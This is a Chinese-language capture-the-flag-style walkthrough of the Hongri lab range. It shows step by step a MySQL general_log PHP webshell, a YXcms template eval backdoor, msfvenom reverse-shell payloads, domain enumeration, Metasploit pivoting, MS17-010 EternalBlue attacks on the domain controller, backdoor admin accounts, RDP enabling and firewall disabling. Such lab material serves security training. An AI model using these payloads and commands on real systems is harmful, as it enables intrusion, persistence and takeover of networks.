一、环境搭建
1.红日靶场下载:
靶场下载地址:
https://pan.baidu.com/s/1nC6V8e_EuKfaLb2IuEbe7w&shfl=sharepset
提取码:n1u2
2.内外网IP搭建
Windows 7 x64 | Windows Server 2008 | Win2K3 Metasploitable | kali |
---|---|---|---|
内网IP:192.168.52.143 | 192.168.52.138 | 192.168.52.141 | |
外网IP:192.168.27.129 | 192.168.27.128 |
一、Windows 7 x64
需要设置两个网络适配器:
1.NAT模式
2.桥接模式
桥接模式设置:
二、Windows Server 2008
三、Win2K3 Metasploitable
3.检测内外网的网络正常
Windows 7 x64
与外网互通正常
与内网的两台主机网络互通
Windows Server 2008
因为win 7开启了防火墙,所以是无法ping通 的
Win2K3 Metasploitable
最后在 Win7 外网服务器主机的 C 盘找到 PhpStudy 启动 Web 服务
二、web渗透
1.信息收集
御剑扫描
扫描发现开启了3306、80、110端口
访问80端口的web页面
账号密码都是弱口令root
扫描目录,发现/phpmyadmin/目录
访问/phpmyadmin/目录
然后利用root root登录
2.日志导出getshell
general_log和general_log_file简述:
mysql打开general_log开关之后,所有对数据库的操作都将记录在general_log_file指定的文件目录中,
以原始的状态来显示,
如果将general_log开关打开,general_log_file指定一个php文件,
则查询的操作将会全部写入到general_log_file指定的文件,
可以通过访问general_log_file指定的文件来获取webshell
show variables like 'general%'; #查看set global general_log = "ON"; #开启ONset global general_log_file="C:/phpStudy/www/shell.php" #绝对路径C:/phpStudy/wwwselect '<?php @eval($_POST[cmd]);?>';
3.yxcms
在phpmyadmin数据库中,看到了newyxcms数据库,猜测下这个是不是有个这个目录
/yxcms/目录
有个公告信息:
本站为YXcms的默认演示模板,YXcms是一款基于PHP+MYSQL构建的高效网站管理系统。 后台地址请在网址后面加上/index.php?r=admin进入。 后台的用户名:admin;密码:123456,请进入后修改默认密码。
登录后台
账号:admin
密码:123456
@eval($_POST[cmd]);#模板路径
protected/apps/default/view/default/info.php
连接蚁剑
4.msf
msf6 > use payload/windows/x64/meterpreter/reverse_tcp
msf6 payload(windows/x64/meterpreter/reverse_tcp) > show options Module options (payload/windows/x64/meterpreter/reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)LHOST yes The listen address (an interface may be specified)LPORT 4444 yes The listen portmsf6 payload(windows/x64/meterpreter/reverse_tcp) > generate -f exe -o 64.exe
[*] Writing 7168 bytes to 64.exe...
需要先生成64.exe,然后才可以使用下面的命令生成payload
##payload 生成msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.27.128 LPORT=5555 -f exe -o r.exemsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.103.129 LPORT=5555 -f exe -o 32.exe
把生成的64.exe传入蚁剑中C:/盘
kali监听
msfmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.11.82 LPORT=5555 -f exe -o 64.exeuse exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcprun
kali监听成功
三、内网信息收集
1.信息收集
c:\>net config workstation #网络配置的信息c:\>chcp 65001 #改编码信息
ipconfig /all 查看本机ip,所在域**route print 打印路由信息**net view 查看局域网内其他主机名**arp -a 查看arp缓存whoaminet start 查看开启了哪些服务net share 查看开启了哪些共享net share ipc$ 开启ipc共享net share c$ 开启c盘共享net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建立空连接net use \\192.168.xx.xx\c$ "密码" /user:"用户名" 建立c盘共享dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域net user 查看本机用户列表net user /domain 查看域用户**net localgroup administrators 查看本地管理员组(通常会有域用户)net view /domain 查看有几个域**net user 用户名 /domain 获取指定域用户的信息net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)net group 组名 /domain 查看域中某工作组net group "domain admins" /domain 查看域管理员的名字net group "domain computers" /domain 查看域中的其他主机名net group "doamin controllers" /domain 查看域控制器(可能有多台)
四、内网横向渗透
1.信息收集
获得系统信息:sysinfo
进入shell,net view
查看域内的其他机子:
定位域控:net group “domain controllers” /domain
OWA
定位域管:net group “domain admins” /domain
Ping域名获真实ip:
OWA.god.org对应:192.168.52.138
2.内网静态路由配置
MSF 的 autoroute
模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由。
首先需要使用配置静态路由:
#加载MSF的autoroute模块,获取当前机器的所有网段信息
run post/multi/manage/autoroute
#添加目标内网路由
run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD
添加失败,因为该路由已存在
3.MSF内网端口扫描
现在路由可达内网网段,可以先对内网主机进行探测。 1、先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口:
我这里优先扫80 445(MS17-010) 3389(MS19-0708)
background use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set ports 80,135-139,445,3306,3389
run
发现开启了445端口
2、同样的方法,发现域控主机192.168.52.138也开启了 445 端口:
set rhosts 192.168.52.138
set ports 80,135-139,445,3306,3389
run
4.利用ms17-010进行攻击
1、对于开启了 445 端口的 Windows 服务器,借助 MSF 自带的漏洞扫描模块进行扫描:
search ms17_010 #搜索MSF集成的与ms17_010漏洞相关的模块
use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
set rhosts 192.168.52.141 #设置被扫描的主机IP
run
可以看到内网其他两台主机都是存在ms17-010
漏洞的
2、尝试利用永恒之蓝漏洞拿下域控主机192.168.52.138,使用 MSF 集成的 ms17-010 漏洞 EXP:
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
set command whoami
run
成功执行,但是shell反弹失败。
可以尝试psexec。但是也可能会不能成功。
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
run
5.MSF开启远程桌面
sessions -lsessions -l 通常用于列出当前与远程系统建立的会话(sessions)。
这种命令通常是在Metasploit Framework(MSF)等工具中使用的
已经在 MSF 中获得 Win7 的 Shell,故只需要返回会话并执行命令
run post/windows/manage/enable_rdp是 Metasploit Framework(MSF)中的一个后渗透模块命令。
这个特定的模块旨在用于管理 Windows 系统的后渗透,并用于在被攻陷的 Windows 机器上启用远程桌面协议(RDP)。
6.win7开启3389
先回到win7界面
获得服务器 Shell 后开启远程桌面的方法,除了借助 MSF,在常规渗透过程也可以在 CMD 命令中实现:
#开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 添加账户密码
net user wsm Pass!@123456 /add
# 给账户添加为管理员权限
net localgroup administrators Tr0e /add
#查询是否成功添加用户
net user wsm
#添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
7.域控主机141开启远程桌面连接
#msf 设置全局代理setg Proxies socks5:127.0.0.1:8989setg ReverseAllowProxy true##通过代理连接远程桌面proxychains rdesktop 192.168.52.141 -p hongrisec@2022 -u administrator
8.拿下域管主机138
同理再拿下域管主机
注意!域管主机连不上的话需要关闭防火墙!!!
##关闭防火墙:netsh firewall set opmode disable